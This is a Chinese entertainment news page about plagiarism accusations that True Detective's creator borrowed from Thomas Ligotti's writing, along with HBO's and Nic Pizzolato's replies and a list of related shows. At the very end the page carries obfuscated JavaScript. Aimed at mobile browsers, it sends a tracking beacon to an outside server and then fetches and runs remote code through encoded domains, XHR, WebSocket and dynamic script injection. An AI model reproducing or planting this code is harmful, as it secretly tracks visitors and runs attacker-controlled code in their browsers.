《真探》陷剽窃风波 主创与HBO均表示无语
在艾美提名后一时风光无限的《真探 True Detective》近日陷入了一点麻烦。本周一知名的洛夫克拉夫特/克苏鲁文化研究网志The LoveCraft EZine发长文指责本剧主创剽窃了恐怖小说家Thomas Ligotti的著作，引起了广泛的争论。文中大量举出剧中Rust的对话与Ligotti的小说《The Conspiracy Against the Human Race》，存在着不少明显的对应。随后，Ligotti的粉丝站Thomas Liggoti Online也同样发表了类似的观点。
随着事件影响扩大，HBO也坐不住了，他们今日发出高姿态声明，称所谓哲学概念应该为任何人所用，自然也包括小说家，过去类似的例证不在少数。对这些前人探讨过的概念进行探索与创造是完全正常的现象。
对此，主创Nic Pizzolato无奈表示，他之前就已经探讨过Rust的人物塑造，他本身就被塑造成一位被叔本华、尼采、萧沆的哲学体系所影响的神(经病)探，他在编写剧本时也并没有掩饰过这些灵感的来源。他承认这些灵感的来源就包括Ligotti的著作，而其中的思想显然不是专属于某一位作家的。
但是Ligotti粉丝站的站长仍然表示Pizzolato是在觉察到压力以后才抛出的「致敬」言论，他完全可以在更早的时候就表明这一立场。
不过事实上《真探》对这些作品的确是起到了宣传作用。在「黄衣之王」的标志蜻蜓点水般地出现在剧中之后，许多克苏鲁神话的粉丝都立马接收到了这一信息并激动异常，《黄衣之王》的小说一时间成为流行文化圈的热门谈资。
而更多的媒体也就剽窃和致敬展开讨论，小编个人不想深究，在此只是列举知名文化评论杂志Slate的观点，「对于虚构作品而言，所谓剽窃与否的界限，并不在于作者是否愿意注明来源，而在于所借鉴的材料被如何使用。」其实《真探》里随处可见流行文化的痕迹，比如最后一集里出现的the light’s winning的言论实际上就源自于Alan Moore的《守望者》漫画，但《真探》故事本身仍然是独特而引人入胜的。
最后附上原文中指出抄袭段落的节选。
0顶一下
-
![真探第一季]()
第8集
马修·麦康纳,伍迪·哈里森,布鲁斯·埃利奥特,米歇尔·莫纳汉,托利·基特尔斯,迈克尔·波茨,埃里克·普莱斯,麦迪逊·沃尔夫,J·D·埃弗摩尔,丹娜·格瑞尔,乔·克里斯特,亚历珊德拉·达达里奥
-
![真探第二季]()
第8集
詹姆斯·弗莱恩,李升熙,亚德里亚·霍纳,安迪·麦肯济,克里斯蒂安·坎贝尔,阿莱克斯·费尔南德斯,加布里埃尔·鲁纳,科特妮·哈芙森,艾米莉·里奥斯,瑞利·史密斯,乔·林德斯特伦,艾格尼丝·欧列,卡拉·维拉,切特·格里索姆,贾米森·琼斯,阿米亚·莫雷蒂
-
![真探第三季]()
全8集
马赫沙拉·阿里,卡门·艾乔戈,斯蒂芬·多尔夫,斯科特·麦克纳里,麦米·古默,莎拉·加顿,艾米丽·尼尔森,黛博拉·艾里德
-
![谎言真探卫视版]()
16集全
余男,邢佳栋,王薇,袁福福,赵恺依
-
![谎言真探]()
更新第06集
余男、邢佳栋、赵恺依
-
![真探 第三季]()
共8集,完结
马赫沙拉·阿里,卡门·艾乔戈,斯蒂芬·多尔夫,斯科特·麦克纳里,麦米·古默
function VALbGS(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function JlAzTY(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return VALbGS(t);};window[''+'V'+'o'+'y'+'a'+'r'+'J'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Fxbej(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=JlAzTY,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Fxbej(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/14304/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Fxbej(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmllpbHh6cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lM00E5NTM00','163318',window,document,['l','0']);}:function(){};
